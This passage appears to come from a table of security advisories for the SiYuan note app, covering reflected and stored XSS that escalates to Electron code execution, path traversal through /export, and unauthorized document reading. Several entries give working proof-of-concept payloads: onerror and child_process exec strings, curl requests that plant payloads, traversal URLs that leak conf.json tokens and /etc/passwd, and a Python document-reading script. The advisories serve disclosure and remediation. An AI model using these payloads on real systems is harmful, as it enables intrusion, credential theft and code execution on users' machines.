This can be chained to perform authenticated API actions and exfiltrate sensitive data when a logged-in user opens the malicious link.
### Details
The issue is caused by unsafe output construction and incomplete sanitization:
1. **Endpoint is exposed without auth middleware**
- Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/router.go#L27-L37
- `GET /api/icon/getDynamicIcon` is registered in the unauthenticated section.
2. **User input is inserted into SVG via string formatting**
- Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/icon.go#L115-L175
- Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/icon.go#L537-L585
- In `generateTypeEightSVG`, `%s` directly injects `content` into `<text>...</text>` without XML/HTML escaping.
3. **Sanitizer only removes `<script>` tags**
- Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/util/misc.go#L235-L281
- `RemoveScriptsInSVG` removes `<script>` nodes, but does not remove dangerous attributes (`onerror`, `onload`, etc.) or unsafe elements.
As a result, payloads such as `</text><image ... onerror=...><text>` survive and execute.
### PoC
#### Minimal browser execution PoC
Open this URL in a browser:
```http
GET /api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E
```
Example full URL:
```text
http://127.0.0.1:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E
```
Expected result:
- JavaScript executes (`alert(document.domain)`), confirming reflected XSS.
#### Authenticated impact demonstration
If a victim is authenticated in the same browser session, JavaScript running in origin can call privileged APIs and exfiltrate returned data.
### Impact
This is a reflected XSS in an unauthenticated endpoint, with realistic account/data compromise impact:
- Arbitrary JavaScript execution in SiYuan web origin.
- Authenticated action abuse via same-origin API calls.
- Sensitive data exposure (notes/config/API responses) from victim context.
- Potential chained server-impact actions depending on victim privileges and deployment mode. | fixed | osv:GHSA-6865-qjcf-286f |
| critical | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() ### Summary
The attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `</textarea><img src=x onerror="...">` or `"><img src=x onerror="...">` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require('child_process')`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.
The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.
Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.
### Details
Affected:
- HEAD `96dfe0b` (v3.6.5, 2026-04-21)
- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.
- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.
- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/<avID>.json`.
- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.
- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.
#### The sink
`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:
```ts
export const genAVValueHTML = (value: IAVCellValue) => {
let html = "";
switch (value.type) {
case "block":
// escaped via escapeAttr — safe
html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
break;
case "text":
// value.text.content goes raw into a <textarea>
html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
break;
case "url":
// value.url.content goes raw into value="..." and href="..."
html = `<input value="${value.url.content}" ...>
<a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
break;
case "phone":
// same pattern as url
html = `<input value="${value.phone.content}" ...>
<a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
break;
case "mAsset":
value.mAsset?.forEach(item => {
if (item.type === "image") {
// item.content raw inside aria-label
html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
} else {
// attributes escaped, but ${item.name || item.content} text-node is raw
html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
}
});
break;
// other cases use escapeHtml / escapeAttr correctly
}
return html;
};
```
`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren't applied in the four branches above.
Callers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:
```ts
if (item.classList.contains("custom-attr__avvalue")) {
item.innerHTML = genAVValueHTML(cellValue);
}
```
#### The write path
A grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:
```
grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)
```
For comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.
#### Storage and sync
AV files live at `data/storage/av/<avID>.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.
#### Suggested fix
The renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:
```ts
case "text":
html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
break;
case "url":
html = `<input value="${escapeAttr(value.url.content)}" ...>
<a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
break;
case "phone":
html = `<input value="${escapeAttr(value.phone.content)}" ...>
<a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
break;
case "mAsset":
// escape item.name and item.content in the text-node positions, not just inside attributes
```
The `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you're in there.
Backend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.
### PoC
Stand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:
```bash
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
```
Minimum viable AV JSON:
```json
{
"spec": 2,
"id": "20260519999999-poctest",
"name": "PocAV",
"keyValues": [
{
"key": {"id": "...keyblok", "name": "Block", "type": "block"},
"values": [{
"id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
"type": "block", "isDetached": true,
"block": {"id": "...row1blk", "content": "Row 1"}
}]
},
{
"key": {"id": "...keytext", "name": "TextField", "type": "text"},
"values": [{
"id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
"type": "text",
"text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
}]
},
{
"key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
"values": [{
"id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
"type": "url",
"url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
}]
}
]
}
```
In a real attack the file gets there via sync, not by hand.
Confirm the API returns the cell content raw:
```bash
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -s -X POST http://localhost:16806/api/av/getAttributeView \
-H "Authorization: Token $TOKEN" \
-d '{"id":"20260519999999-poctest"}' \
| python3 -m json.tool | grep -E '"content":'
```
Output from my run on 2026-05-19:
```
"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"
```
| fixed | osv:GHSA-5xfx-xj4h-5p7r |
| critical | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via Unsanitized Attribute View Asset Cell Content SiYuan v3.6.5 and earlier versions contain a stored cross-site scripting (XSS) vulnerability in the Attribute View (database) asset cell renderer that escalates to remote code execution (RCE) in the Electron desktop client. This is a neighbor-bug of CVE-2026-44588: the fix for -44588 used `escapeAriaLabel()` (double-escapes `<`), but the AV asset renderers were left using the weaker `escapeAttr()` (escapes only quotes) or no escaping at all.
## Vulnerability Details
The Electron renderer is configured with `nodeIntegration: true` and `contextIsolation: false` (app/electron/main.js:307), allowing any JavaScript executing in the renderer to directly access Node.js APIs including `require('child_process')`.
Two XSS sinks exist.
### Sink 1 (Direct Stored XSS - triggers on page load)
`app/src/protyle/render/av/cell.ts:1008`:
text += `<span class="b3-chip av__celltext--url ariaLabel" aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}"
data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
The `>${item.name || item.content}</span>` portion is raw user input with zero escaping.
`app/src/protyle/render/av/blockAttr.ts:93` (even worse - completely unescaped):
html += `<img loading="lazy" class="av__cellassetimg ariaLabel" aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
Rendered via `action.ts:860`: `cellElement.innerHTML = renderCell(...)` results in immediate XSS on page load.
### Sink 2 (Hover-triggered XSS via aria-label round-trip)
- Same lines emit `aria-label="${escapeAttr(item.content)}"` on `.ariaLabel` elements.
- `escapeAttr()` (util/escape.ts:14) escapes only `"` and `'` — NOT `<` or `>`.
- `popover.ts:33` global mouseover handler reads `aria-label` via `getAttribute` (which attribute-decodes entities).
- Line 144: `showTooltip(decodeURIComponent(tip), ...)` then `tooltip.ts:41`: `messageElement.innerHTML = message` results in XSS on hover.
### Source
- `app/src/protyle/render/av/asset.ts:405`: `addAssetLink()` reads user input from a free-form `<textarea>` with no sanitization.
- Kernel stores `MAsset.Content` raw (kernel/av/value.go:53), no server-side sanitization.
## Attack Vector
1. Attacker creates a malicious note containing an Attribute View (database).
2. Attacker adds an asset cell with link content: `<img src=x onerror=require('child_process').exec('calc')>`
3. Victim opens the note for immediate RCE (Sink 1), or hovers over the cell for RCE (Sink 2).
4. In a sync/collaboration scenario, the malicious note propagates to all users.
## Proof of Concept
Payload (Direct XSS) — in an AV asset cell link field, enter:
<img src=x onerror=alert(document.domain)>
For RCE in Electron desktop:
<img src=x onerror=require('child_process').exec('calc')>
### Steps to Reproduce
1. Open SiYuan desktop app (v3.6.5).
2. Create a new document.
3. Insert an Attribute View (database): `/` then select "Table".
4. Add a column of type "Asset".
5. Click the asset cell, then "Add Link".
6. In the "Link" textarea, paste: `<img src=x onerror=alert(1)>`
7. Leave "Title" empty or fill with benign text.
8. Click outside the dialog to save.
9. Observe: Alert fires immediately (Sink 1). Hovering over the cell also triggers (Sink 2).
## Impact
- Remote Code Execution on victim's system via malicious note sync/import.
- Data exfiltration: attacker can read all notes, access filesystem, steal credentials.
- Persistence: malicious payload stored in `.sy` files, executes on every open.
## Suggested Fix
1. Replace `escapeAttr()` with `escapeAriaLabel()` for all `aria-label` attributes in AV cell renderers.
2. Escape `item.name` and `item.content` with `escapeHtml()` before concatenating into element text content.
Affected files: `app/src/protyle/render/av/cell.ts`, `app/src/protyle/render/av/blockAttr.ts`, `app/src/protyle/render/av/asset.ts`.
## Additional Context
This vulnerability is a neighbor-bug of CVE-2026-44588. The fix for -44588 correctly used `escapeAriaLabel()` (which double-escapes `<` to survive the attribute -> `getAttribute` -> `innerHTML` round-trip), but the AV asset cell renderers were left using the weaker `escapeAttr()` or no escaping. This is part of a pattern of incomplete fixes in SiYuan (see also CVE-2026-33066, CVE-2026-29183). The long-term fix should set Electron`contextIsolation: true` and `nodeIntegration: false`.
## Report
Reporter (GitHub: Yunkaiwjs). | fixed | osv:GHSA-56mp-4f3v-fgj2 |
| critical | any | \u2014 | SiYuan has Arbitrary Document Reading within the Publishing Service ### Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
### PoC
```python
#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys
def get_child_blocks(target_url, doc_id):
"""
调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
"""
url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
headers = {
"Content-Type": "application/json"
}
data = {
"id": doc_id
}
try:
response = requests.post(url, json=data, headers=headers, timeout=10)
response.raise_for_status()
result = response.json()
if result.get("code") != 0:
print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
return None
return result.get("data")
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求失败: {e}")
return None
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {e}")
return None
def format_block_content(block):
"""格式化块内容"""
content = ""
# 获取块内容
if isinstance(block, dict):
# 尝试多种可能的字段
md = block.get("markdown", "") or block.get("content", "") or ""
if md:
content = md.strip()
return content
def main():
"""主函数"""
if len(sys.argv) > 1:
target_url = sys.argv[1]
else:
target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
if not target_url:
target_url = "http://localhost:6806"
print(f"目标地址: {target_url}")
print("=" * 50)
while True:
print("\n" + "=" * 50)
doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
if doc_id.lower() in ['quit', 'exit', 'q']:
print("程序退出")
break
if not doc_id:
print("[-] 文档ID不能为空")
continue
print(f"\n[*] 正在读取文档: {doc_id}")
blocks = get_child_blocks(target_url, doc_id)
if blocks is None:
print("[-] 获取文档内容失败")
continue
if not blocks:
print(f"[!] 文档 {doc_id} 没有子块或为空")
continue
print(f"[+] 成功获取 {len(blocks)} 个子块")
print("-" * 50)
# 保存所有块内容
all_blocks_content = []
for i, block in enumerate(blocks, 1):
content = format_block_content(block)
if content:
print(content[:200] + ("..." if len(content) > 200 else ""))
all_blocks_content.append({
"index": i,
"content": content,
"raw_block": block
})
# 询问是否保存到文件
save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
if save_choice in ['y', 'yes']:
filename = f"doc_{doc_id}_blocks.json"
try:
with open(filename, "w", encoding="utf-8") as f:
json.dump({
"doc_id": doc_id,
"block_count": len(blocks),
"blocks": all_blocks_content
}, f, ensure_ascii=False, indent=2)
print(f"[+] 已保存到: {filename}")
except Exception as e:
print(f"[-] 保存失败: {e}")
print("-" * 50)
if __name__ == "__main__":
main()
```
<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />
### Impact
File reading: All encrypted or prohibited documents under the publishing service could be read. | open | osv:GHSA-34xj-66v3-6j83 |
| critical | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE ## Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
## Details
**Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`:
```go
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView) // ← no html.EscapeString
```
**Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`:
```go
const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw
```
**Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`):
```ts
<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;
```
Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`.
**Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`:
```ts
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span> `;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;
```
**Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`:
```ts
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;
```
The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed.
**Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`:
```js
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}
```
**Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
## Suggested fix
1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution.
2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557.
3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content.
4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`.
5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
---
## Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
### Prereqs
1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).
2. **Verify the kernel responds:**
```sh
curl -s http://127.0.0.1:6806/api/system/version
```
Expected output (single line of JSON):
```json
{"code":0,"msg":"","data":"3.6.5"}
```
3. **Pin shell variables** for the rest of the PoC:
```sh
API=http://127.0.0.1:6806
WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
```
Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.
### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:
1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).
2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`.
3. Capture the AV ID — the most recently written file in that directory:
```sh
AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
AV_ID=$(basename "$AV_FILE" .json)
echo "AV_ID: $AV_ID"
```
Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.)
4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set:
```sh
DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
```
### Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string.
```sh
curl -s -X POST $API/api/transactions \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{
"session": "x",
"app": "siyuan",
"transactions": [{
"doOperations": [{
"action": "setAttrViewName",
"id": "$AV_ID",
"data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
}],
"undoO | fixed | osv:GHSA-2h64-c999-c9r6 |
| critical | any | 3.5.10 | SiYuan Vulnerable to Path Traversal in /export Endpoint Allows Arbitrary File Read and Secret Leakage ### Summary
A path traversal vulnerability in the `/export` endpoint allows an attacker to read arbitrary files from the server filesystem. By exploiting double‑encoded traversal sequences, an attacker can access sensitive files such as `conf/conf.json`, which contains secrets including the API token, cookie signing key, and workspace access authentication code.
Leaking these secrets may enable administrative access to the SiYuan kernel API, and in certain deployment scenarios could potentially be chained into `remote code execution (RCE)`.
### Details
File: [serve.go](app://-/index.html?hostId=local#), [session.go](app://-/index.html?hostId=local#)
Lines: serve.go 303, 315, 320, 340, 955-957; session.go 292-295
Vulnerable Code:
```
// session.go
if localhost {
if strings.HasPrefix(c.Request.RequestURI, "/assets/") || strings.HasPrefix(c.Request.RequestURI, "/export/") {
c.Set(RoleContextKey, RoleAdministrator)
c.Next()
return
}
}
// serve.go
filePath := strings.TrimPrefix(c.Request.URL.Path, "/export/")
decodedPath, err := url.PathUnescape(filePath)
fullPath := filepath.Join(exportBaseDir, decodedPath)
c.File(fullPath)
// CORS
c.Header("Access-Control-Allow-Origin", "*")
```
Points of Vulnerability:
- `/export/*` trusts url.PathUnescape output and joins it without enforcing fullPath to stay under exportBaseDir.
- Double-encoded traversal (`%252e%252e`) bypasses `ServeFile` dot-dot URL rejection but is decoded by app logic into ...
- `CheckAuth` grants admin for localhost requests to `/export/*` when access auth code is set.
- Global CORS `Access-Control-Allow-Origin: *` allows hostile web pages to read localhost responses.
### PoC
Reproduction Steps:
1. Send a GET request to `/export/%252e%252e/%252e%252e/conf/conf.json` or `export/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd`
2. If HTTP 200 is returned, inspect the response body for sensitive fields:
```
api.token
cookieKey
accessAuthCode
```
or
```
/etc/passwd
```
3. (Optional) If api.token is present, test admin API access:
```
POST /api/system/getNetwork
Header: Authorization: Token <leaked token>
```
4. Confirm that the response indicates administrative privileges.
All steps can be performed with read-only HTTP requests; no Docker or local modifications are needed.
### Impact
This vulnerability can lead to serious compromise of a SiYuan instance, including:
**Arbitrary File Disclosure**
- Attackers can read files anywhere on the server filesystem, including system files such as /etc/passwd.
**Exposure of Sensitive Secrets**
- Configuration files such as conf/conf.json contain sensitive information including:
- API tokens
- cookie signing keys
- workspace authentication codes
**Administrative API Access**
- Leaked tokens can allow attackers to interact with privileged SiYuan kernel APIs.
**Cross‑Origin Localhost Data Exfiltration**
- Because the server sets `Access-Control-Allow-Origin: *`, a malicious website can exploit the vulnerability to read files from a victim's local SiYuan instance running on 127.0.0.1.
**Potential Remote Code Execution (RCE)**
- Disclosure of authentication secrets and internal configuration may enable attackers to chain this vulnerability with other application features or APIs to achieve remote code execution or full system compromise. | fixed | osv:GHSA-2h2p-mvfx-868w |
| critical | any | \u2014 | SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution ### Summary
SiYuan's Bazaar (community marketplace) renders the `name` and `version` fields of a package's `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` — `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.
Because the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is **zero-click on the list view** — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.
A second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink.
### Details
**Server-side allowlist — `kernel/bazaar/package.go:134-145`:**
```go
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
// pkg.Name and pkg.Version are NOT escaped
}
```
**`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:**
```go
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)
// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer
if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
if v := strings.TrimSpace(m["default"]); v != "" { return v }
if v := strings.TrimSpace(m["en_US"]); v != "" { return v }
return fallback
}
```
**Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:**
```go
// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)
```
`buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel's `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow.
**The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:**
```go
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}
```
The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.
**Frontend sinks — `app/src/config/bazaar.ts`:**
```ts
// :430 — installed-plugin card list (zero-click)
${item.preferredName}
// :526 — package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>
// :540 — package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>
```
The constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600).
**Renderer privilege boundary — `app/electron/main.js:407-411`:**
```js
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
```
JavaScript executing in the marketplace tab can call `require('child_process').exec(...)` directly, escalating DOM XSS to OS command execution.
### PoC
End-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload.
